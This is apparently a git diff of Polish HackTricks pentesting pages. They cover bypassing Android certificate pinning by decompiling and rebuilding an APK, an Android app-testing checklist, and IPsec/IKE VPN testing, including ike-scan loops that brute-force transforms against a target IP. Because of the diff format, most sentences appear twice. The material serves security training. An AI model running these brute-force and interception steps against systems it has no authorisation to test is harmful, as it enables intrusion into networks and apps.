Niektóre aplikacje nie akceptują pobranych przez użytkownika certyfikatów, dlatego aby analizować ruch sieciowy niektórych aplikacji, musimy dekompilować aplikację, dodać kilka rzeczy i ponownie ją skompilować.
|
||||
Niektóre aplikacje nie akceptują pobranych przez użytkownika certyfikatów, więc aby przejrzeć ruch sieciowy niektórych aplikacji, musimy faktycznie zdekompilować aplikację, dodać kilka rzeczy i ponownie ją skompilować.
|
||||
|
||||
# Automatycznie
|
||||
|
||||
Narzędzie [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) **automatycznie** dokona niezbędnych zmian w aplikacji, aby rozpocząć przechwytywanie żądań i wyłączyć przypinanie certyfikatów (jeśli istnieje).
|
||||
Narzędzie [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) **automatycznie** dokona niezbędnych zmian w aplikacji, aby rozpocząć przechwytywanie żądań i wyłączyć przypięcie certyfikatu (jeśli istnieje).
|
||||
|
||||
# Ręcznie
|
||||
|
||||
|
@ -32,7 +24,7 @@ Najpierw dekompilujemy aplikację: `apktool d *nazwa-pliku*.apk`
|
|||
|
||||
![](../../.gitbook/assets/img9.png)
|
||||
|
||||
Następnie przechodzimy do pliku **Manifest.xml** i przewijamy do znacznika `<\application android>`, a następnie dodajemy następującą linię, jeśli jej jeszcze tam nie ma:
|
||||
Następnie przechodzimy do pliku **Manifest.xml** i przewijamy do tagu `<\application android>` i dodajemy następną linię, jeśli jej jeszcze nie ma:
|
||||
|
||||
`android:networkSecurityConfig="@xml/network_security_config`
|
||||
|
||||
|
@ -57,18 +49,11 @@ Teraz przechodzimy do folderu **res/xml** i tworzymy/modyfikujemy plik o nazwie
|
|||
</base-config>
|
||||
</network-security-config>
|
||||
```
|
||||
Następnie zapisz plik i wyjdź z wszystkich katalogów, a następnie przebuduj apk za pomocą następującej komendy: `apktool b *nazwa-katalogu/* -o *nazwa-pliku-wyjściowego.apk*`
|
||||
Następnie zapisz plik i wyjdź z wszystkich katalogów, a następnie przebuduj apk za pomocą poniższej komendy: `apktool b *nazwa-katalogu/* -o *nazwa-pliku-wyjściowego.apk*`
|
||||
|
||||
![](../../.gitbook/assets/img12.png)
|
||||
|
||||
Na koniec musisz tylko **podpisać nową aplikację**. [Przeczytaj ten fragment strony Smali - Decompiling/\[Modifying\]/Compiling, aby dowiedzieć się, jak ją podpisać](smali-changes.md#sing-the-new-apk).
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Znajdź najważniejsze podatności, aby szybko je naprawić. Intruder śledzi twoją powierzchnię ataku, wykonuje proaktywne skanowanie zagrożeń, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj go za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
Na koniec musisz tylko **podpisać nową aplikację**. [Przeczytaj tę sekcję strony Smali - Decompiling/\[Modifying\]/Compiling, aby dowiedzieć się, jak ją podpisać](smali-changes.md#sing-the-new-apk).
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -76,10 +61,10 @@ Znajdź najważniejsze podatności, aby szybko je naprawić. Intruder śledzi tw
|
|||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,25 +2,17 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Zacznij od zera i zostań mistrzem hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć reklamę swojej **firmy na HackTricks**? lub uzyskać dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do repozytorium [hacktricks](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) albo **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do [repozytorium hacktricks](https://github.com/carlospolop/hacktricks) i [repozytorium hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Znajdź najważniejsze podatności, aby móc je szybko naprawić. Intruder śledzi powierzchnię ataku, wykonuje proaktywne skanowanie zagrożeń, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj go za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
### [Naucz się podstaw Androida](android-app-pentesting/#2-android-application-fundamentals)
|
||||
### [Dowiedz się podstaw Androida](android-app-pentesting/#2-android-application-fundamentals)
|
||||
|
||||
* [ ] [Podstawy](android-app-pentesting/#fundamentals-review)
|
||||
* [ ] [Dalvik & Smali](android-app-pentesting/#dalvik--smali)
|
||||
|
@ -29,7 +21,7 @@ Znajdź najważniejsze podatności, aby móc je szybko naprawić. Intruder śled
|
|||
* [ ] [Schematy URL](android-app-pentesting/#url-schemes)
|
||||
* [ ] [Dostawcy treści](android-app-pentesting/#services)
|
||||
* [ ] [Usługi](android-app-pentesting/#services-1)
|
||||
* [ ] [Odbiorniki rozgłoszeniowe](android-app-pentesting/#broadcast-receivers)
|
||||
* [ ] [Odbiorniki nadawcze](android-app-pentesting/#broadcast-receivers)
|
||||
* [ ] [Intencje](android-app-pentesting/#intents)
|
||||
* [ ] [Filtr intencji](android-app-pentesting/#intent-filter)
|
||||
* [ ] [Inne komponenty](android-app-pentesting/#other-app-components)
|
||||
|
@ -38,35 +30,51 @@ Znajdź najważniejsze podatności, aby móc je szybko naprawić. Intruder śled
|
|||
|
||||
### [Analiza statyczna](android-app-pentesting/#static-analysis)
|
||||
|
||||
* [ ] Sprawdź, czy używana jest [obfuskacja](android-checklist.md#some-obfuscation-deobfuscation-information), sprawdź, czy telefon komórkowy został zrootowany, czy używany jest emulator i czy są wykonywane kontrole antymanipulacyjne. [Przeczytaj więcej na ten temat](android-app-pentesting/#other-checks).
|
||||
* [ ] Wrażliwe aplikacje (takie jak aplikacje bankowe) powinny sprawdzać, czy telefon jest zrootowany i działać odpowiednio.
|
||||
* [ ] Szukaj [ciekawych ciągów znaków](android-app-pentesting/#looking-for-interesting-info) (hasła, adresy URL, API, szyfrowanie, backdoory, tokeny, identyfikatory Bluetooth...).
|
||||
* [ ] Szczególną uwagę zwróć na interfejsy API [firebase](android-app-pentesting/#firebase).
|
||||
* [ ] Sprawdź użycie [mieszania kodu](android-checklist.md#some-obfuscation-deobfuscation-information), sprawdź, czy urządzenie mobilne jest zrootowane, czy używany jest emulator oraz sprawdź kontrole antymanipulacyjne. [Przeczytaj więcej tutaj](android-app-pentesting/#other-checks).
|
||||
* [ ] Wrażliwe aplikacje (np. aplikacje bankowe) powinny sprawdzać, czy urządzenie mobilne jest zrootowane i działać odpowiednio.
|
||||
* [ ] Szukaj [interesujących ciągów znaków](android-app-pentesting/#looking-for-interesting-info) (hasła, adresy URL, API, szyfrowanie, backdoory, tokeny, identyfikatory Bluetooth...).
|
||||
* [ ] Szczególna uwaga na [API Firebase](android-app-pentesting/#firebase).
|
||||
* [ ] [Przeczytaj manifest:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
|
||||
* [ ] Sprawdź, czy aplikacja jest w trybie debugowania i spróbuj go "wykorzystać"
|
||||
* [ ] Sprawdź, czy APK umożliwia tworzenie kopii zapasowych
|
||||
* [ ] Sprawdź, czy aplikacja jest w trybie debugowania i spróbuj ją "wykorzystać"
|
||||
* [ ] Sprawdź, czy APK pozwala na tworzenie kopii zapasowych
|
||||
* [ ] Eksportowane aktywności
|
||||
* [ ] Dostawcy treści
|
||||
* [ ] Odsłonięte usługi
|
||||
* [ ] Odbiorniki rozgłoszeniowe
|
||||
* [ ] Ujawnione usługi
|
||||
* [ ] Odbiorniki nadawcze
|
||||
* [ ] Schematy URL
|
||||
* [ ] Czy aplikacja [zapisuje dane wewnętrznie lub zewnętrznie w sposób niebezpieczny](android-app-pentesting/#insecure-data-storage)?
|
||||
* [ ] Czy istnieje jakieś [hasło wpisane na stałe lub zapisane na dysku](android-app-pentesting/#poorkeymanagementprocesses)? Czy aplikacja [używa algorytmów kryptograficznych w sposób niebezpieczny lub przestarzały](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
|
||||
* [ ] Czy aplikacja [zapisuje dane niezabezpieczone wewnętrznie lub zewnętrznie](android-app-pentesting/#insecure-data-storage)?
|
||||
* [ ] Czy istnieje [hasło zakodowane na stałe lub zapisane na dysku](android-app-pentesting/#poorkeymanagementprocesses)? Czy aplikacja [używa niezabezpieczonych algorytmów kryptograficznych](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
|
||||
* [ ] Czy wszystkie biblioteki są kompilowane z flagą PIE?
|
||||
* [ ] Nie zapomnij, że istnieje wiele [statycznych analizatorów Androida](android-app-pentesting/#automatic-analysis), które mogą bardzo pomóc w tej fazie.
|
||||
|
||||
### [Analiza dynamiczna](android-app-pentesting/#dynamic-analysis)
|
||||
|
||||
* [ ] Przygotuj środowisko ([online](android-app-pentesting/#online-dynamic-analysis), [lokalne wirtualne środowisko lub fizyczne](android-app-pentesting/#local-dynamic-analysis))
|
||||
* [ ] Przygotuj środowisko ([online](android-app-pentesting/#online-dynamic-analysis), [lokalne wirtualne środowisko maszyny lub fizyczne](android-app-pentesting/#local-dynamic-analysis))
|
||||
* [ ] Czy występuje [niezamierzone wyciekanie danych](android-app-pentesting/#unintended-data-leakage) (logowanie, kopiowanie/wklejanie, dzienniki awarii)?
|
||||
* [ ] Czy [poufne informacje są zapisywane w bazach danych SQLite](android-app-pentesting/#sqlite-dbs)?
|
||||
* [ ] Czy występują [podatne na wykorzystanie aktywności odsłonięte](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
|
||||
* [ ] Czy występują [podatne na wykorzystanie dostawcy treści](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
|
||||
* [ ] Czy występują [podatne na wykorzystanie odsłonięte usługi](android-app-pentesting/#exploiting-services)?
|
||||
* [ ] Czy występują [podatne na wykorzystanie odbiorniki rozgłoszeniowe](android-app-pentesting/#exploiting-broadcast-receivers)?
|
||||
* [ ] Czy aplikacja [przesyła informacje w postaci tekstu jawnego/używa słabych algorytmów](android-app-pentesting/#insufficient-transport-layer-protection)? Czy możliwy jest atak typu MitM?
|
||||
* [ ] [Czy wrażliwe informacje są zapisywane w bazach danych SQLite](android-app-pentesting/#sqlite-dbs)?
|
||||
* [ ] [Wykorzystywalne aktywności ujawnione](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
|
||||
* [ ] [Wykorzystywalni dostawcy treści](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
|
||||
* [ ] [Wykorzystywalne ujawnione usługi](android-app-pentesting/#exploiting-services)?
|
||||
* [ ] [Wykorzystywalni odbiorniki nadawcze](android-app-pentesting/#exploiting-broadcast-receivers)?
|
||||
* [ ] Czy aplikacja [przesyła informacje w tekście jawnym/używa słabych algorytmów](android-app-pentesting/#insufficient-transport-layer-protection)? Czy jest możliwy atak typu MitM?
|
||||
* [ ] [Sprawdź ruch HTTP/HTTPS](android-app-pentesting/#inspecting-http-traffic)
|
||||
* [ ] To jest naprawdę ważne, ponieważ jeśli możesz przechwycić ruch HTTP, możesz szukać powszechnych podatności sieci Web (Hacktricks zawiera wiele informacji na temat
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do repozytorium [hacktricks](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* [ ] To jest naprawdę ważne, ponieważ jeśli uda ci się przechwycić ruch HTTP, możesz szukać powszechnych podatności sieci Web (Hacktricks zawiera wiele informacji na temat podatności sieci Web).
|
||||
* [ ] Sprawdź możliwe [Wstrzyknięcia po stronie klienta Androida](android-app-pentesting/#android-client-side-injections-and-others) (prawdopodobnie statyczna analiza kodu pomoże tutaj)
|
||||
* [ ] [Frida](android-app-pentesting/#frida): Po prostu Frida, użyj go do uzyskania interesujących danych dynamicznych z aplikacji (może jakieś hasła...)
|
||||
|
||||
### Informacje o obfuskacji/Deobfuskacji
|
||||
|
||||
* [ ] [Przeczytaj tutaj](android-app-pentesting/#obfuscating-deobfuscating-code)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i zostań mistrzem hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć reklamę swojej **firmy na HackTricks**? lub uzyskać dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) albo **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do [repozytorium hacktricks](https://github.com/carlospolop/hacktricks) i [repozytorium hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,37 +1,28 @@
|
|||
# 500/udp - Testowanie penetracyjne IPsec/IKE VPN
|
||||
# 500/udp - Testowanie penetracyjne VPN IPsec/IKE
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Znajdź najważniejsze podatności, aby móc je szybko naprawić. Intruder śledzi powierzchnię ataku, wykonuje proaktywne skanowanie zagrożeń, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj go za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
**IPsec** jest powszechnie uznawany za główną technologię zabezpieczającą komunikację między sieciami (LAN-to-LAN) oraz między zdalnymi użytkownikami a bramką sieciową (dostęp zdalny), stanowiąc podstawę dla rozwiązań VPN w przedsiębiorstwach.
|
||||
**IPsec** jest powszechnie uznawany za główną technologię zabezpieczającą komunikację między sieciami (LAN-to-LAN) oraz od użytkowników zdalnych do bramy sieciowej (dostęp zdalny), stanowiąc podstawę dla rozwiązań VPN dla przedsiębiorstw.
|
||||
|
||||
Ustanowienie **stowarzyszenia zabezpieczeń (SA)** między dwoma punktami jest zarządzane przez **IKE**, który działa w ramach protokołu ISAKMP, zaprojektowanego do uwierzytelniania i wymiany kluczy. Ten proces przebiega w kilku fazach:
|
||||
|
||||
- **Faza 1:** Tworzony jest bezpieczny kanał między dwoma punktami. Osiąga się to za pomocą klucza pre-shared (PSK) lub certyfikatów, przy użyciu trybu głównego, który obejmuje trzy pary komunikatów, lub **trybu agresywnego**.
|
||||
- **Faza 1.5:** Choć nie jest obowiązkowa, ta faza, znana jako Rozszerzona Faza Uwierzytelniania, weryfikuje tożsamość użytkownika próbującego się połączyć, wymagając nazwy użytkownika i hasła.
|
||||
- **Faza 2:** Ta faza jest poświęcona negocjowaniu parametrów zabezpieczających dane za pomocą **ESP** i **AH**. Umożliwia korzystanie z algorytmów różnych od tych w Fazie 1 w celu zapewnienia **Perfect Forward Secrecy (PFS)**, zwiększając bezpieczeństwo.
|
||||
Ustanowienie **stowarzyszenia bezpieczeństwa (SA)** między dwoma punktami jest zarządzane przez **IKE**, który działa w ramach protokołu ISAKMP, zaprojektowanego do uwierzytelniania i wymiany kluczy. Ten proces przebiega w kilku fazach:
|
||||
|
||||
- **Faza 1:** Tworzony jest bezpieczny kanał między dwoma punktami. Osiąga się to za pomocą klucza wstępnego (PSK) lub certyfikatów, przy użyciu trybu głównego, który obejmuje trzy pary komunikatów, lub **trybu agresywnego**.
|
||||
- **Faza 1.5:** Choć nie jest obowiązkowa, ta faza, znana jako Faza Rozszerzonej Autoryzacji, weryfikuje tożsamość użytkownika próbującego połączyć się, wymagając nazwy użytkownika i hasła.
|
||||
- **Faza 2:** Ta faza poświęcona jest negocjacji parametrów zabezpieczających dane za pomocą **ESP** i **AH**. Pozwala to na użycie algorytmów różnych od tych w Fazie 1, aby zapewnić **Doskonałe Przekazywanie Tajemnic (PFS)**, zwiększając bezpieczeństwo.
|
||||
|
||||
**Domyślny port:** 500/udp
|
||||
|
||||
|
@ -47,9 +38,9 @@ MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
|
|||
```
|
||||
## **Znajdowanie prawidłowej transformacji**
|
||||
|
||||
Konfiguracja IPSec może być przygotowana tylko do akceptowania jednej lub kilku transformacji. Transformacja to kombinacja wartości. **Każda transformacja** zawiera pewną liczbę atrybutów, takich jak DES lub 3DES jako **algorytm szyfrowania**, SHA lub MD5 jako **algorytm integralności**, klucz współdzielony jako **typ uwierzytelniania**, Diffie-Hellman 1 lub 2 jako **algorytm dystrybucji klucza** oraz 28800 sekund jako **czas życia**.
|
||||
Konfiguracja IPSec może być przygotowana tylko do akceptacji jednej lub kilku transformacji. Transformacja to kombinacja wartości. **Każda transformacja** zawiera szereg atrybutów, takich jak DES lub 3DES jako **algorytm szyfrowania**, SHA lub MD5 jako **algorytm integralności**, klucz wstępnie uzgodniony jako **typ uwierzytelnienia**, Diffie-Hellman 1 lub 2 jako algorytm **dystrybucji klucza** oraz 28800 sekund jako **czas życia**.
|
||||
|
||||
Następnie, pierwszą rzeczą, którą musisz zrobić, jest **znalezienie prawidłowej transformacji**, aby serwer mógł z tobą rozmawiać. Możesz to zrobić za pomocą narzędzia **ike-scan**. Domyślnie ike-scan działa w trybie głównym i wysyła pakiet do bramy z nagłówkiem ISAKMP i pojedynczą propozycją zawierającą **osiem transformacji**.
|
||||
Następnie pierwszą rzeczą, którą musisz zrobić, to **znaleźć prawidłową transformację**, aby serwer zechciał z tobą rozmawiać. Aby to zrobić, możesz skorzystać z narzędzia **ike-scan**. Domyślnie Ike-scan działa w trybie głównym i wysyła pakiet do bramy z nagłówkiem ISAKMP i pojedynczą propozycją z **osiemnastoma transformacjami wewnątrz**.
|
||||
|
||||
W zależności od odpowiedzi możesz uzyskać pewne informacje na temat punktu końcowego:
|
||||
```
|
||||
|
@ -62,47 +53,47 @@ VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
|
|||
|
||||
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
|
||||
```
|
||||
Jak widać w poprzedniej odpowiedzi, istnieje pole o nazwie **AUTH** o wartości **PSK**. Oznacza to, że VPN jest skonfigurowany za pomocą klucza współdzielonego (co jest bardzo dobre dla pentestera).\
|
||||
Jak widać w poprzedniej odpowiedzi, istnieje pole o nazwie **AUTH** z wartością **PSK**. Oznacza to, że vpn jest skonfigurowany za pomocą klucza wstępnego (co jest naprawdę dobre dla pentestera).\
|
||||
**Wartość ostatniej linii jest również bardzo ważna:**
|
||||
|
||||
* _0 zwróconych handshake'ów; 0 zwróconych powiadomień:_ Oznacza to, że cel **nie jest bramą IPsec**.
|
||||
* _**1 zwrócony handshake; 0 zwróconych powiadomień:**_ Oznacza to, że cel jest skonfigurowany do IPsec i jest gotowy do przeprowadzenia negocjacji IKE, a jedna lub więcej proponowanych transformacji jest akceptowalna (poprawna transformacja zostanie pokazana w wynikach).
|
||||
* _0 zwróconych handshake'ów; 1 zwrócone powiadomienie:_ Bramy VPN odpowiadają powiadomieniem, gdy **żadna z transformacji nie jest akceptowalna** (choć niektóre bramy tego nie robią, w takim przypadku należy przeprowadzić dalszą analizę i zmienić propozycję).
|
||||
* _0 zwrócony handshake; 0 zwrócone powiadomienie:_ Oznacza to, że cel **nie jest bramą IPsec**.
|
||||
* _**1 zwrócony handshake; 0 zwrócone powiadomienie:**_ Oznacza to, że **cel jest skonfigurowany do IPsec i jest gotowy do przeprowadzenia negocjacji IKE, a jedna lub więcej proponowanych transformacji jest akceptowalna** (poprawna transformacja zostanie pokazana w wyniku).
|
||||
* _0 zwrócony handshake; 1 zwrócone powiadomienie:_ Bramy VPN odpowiadają powiadomieniem, gdy **żadna z transformacji nie jest akceptowalna** (choć niektóre bramy tego nie robią, w takim przypadku należy przeprowadzić dalszą analizę i spróbować zrewidować propozycję).
|
||||
|
||||
W tym przypadku mamy już poprawną transformację, ale jeśli znajdujesz się w trzecim przypadku, musisz **trochę przeprowadzić brute-force, aby znaleźć poprawną transformację:**
|
||||
W tym przypadku mamy już poprawną transformację, ale jeśli znajdujesz się w 3. przypadku, musisz **nieco przeprowadzić atak brute-force, aby znaleźć poprawną transformację:**
|
||||
|
||||
Przede wszystkim musisz utworzyć wszystkie możliwe transformacje:
|
||||
Po pierwsze, musisz utworzyć wszystkie możliwe transformacje:
|
||||
```bash
|
||||
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
|
||||
```
|
||||
A następnie przeprowadź atak brute-force na każdym z nich, używając ike-scan (to może zająć kilka minut):
|
||||
I następnie przeprowadź atak siłowy na każde z nich, używając ike-scan (może to zająć kilka minut):
|
||||
```bash
|
||||
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
|
||||
```
|
||||
Jeśli metoda brute-force nie zadziałała, możliwe, że serwer odpowiada bez użycia handshake nawet na poprawne transformacje. W takim przypadku można spróbować zastosować tę samą metodę brute-force, ale w trybie agresywnym:
|
||||
Jeśli atak brutalnej siły nie zadziałał, być może serwer odpowiada bez ustanawiania połączenia nawet dla poprawnych transformacji. W takim przypadku można spróbować tego samego ataku brutalnej siły, ale w trybie agresywnym:
|
||||
```bash
|
||||
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
|
||||
```
|
||||
Mam nadzieję, że **poprawna transformacja zostanie zwrócona**.\
|
||||
Mam nadzieję, że **poprawna transformacja jest odsyłana**.\
|
||||
Możesz spróbować **tego samego ataku** za pomocą [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\
|
||||
Możesz również spróbować siłowo przeprowadzić transformacje za pomocą [**ikeforce**](https://github.com/SpiderLabs/ikeforce):
|
||||
Możesz także spróbować siłowo przeprowadzić transformacje za pomocą [**ikeforce**](https://github.com/SpiderLabs/ikeforce):
|
||||
```bash
|
||||
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
|
||||
```
|
||||
![](<../.gitbook/assets/image (109).png>)
|
||||
|
||||
W **Grupie DH: 14 = 2048-bit MODP** i **15 = 3072-bit**\
|
||||
W **Grupa DH: 14 = 2048-bit MODP** i **15 = 3072-bit**\
|
||||
**2 = HMAC-SHA = SHA1 (w tym przypadku). Format `--trans` to $Enc,$Hash,$Auth,$DH**
|
||||
|
||||
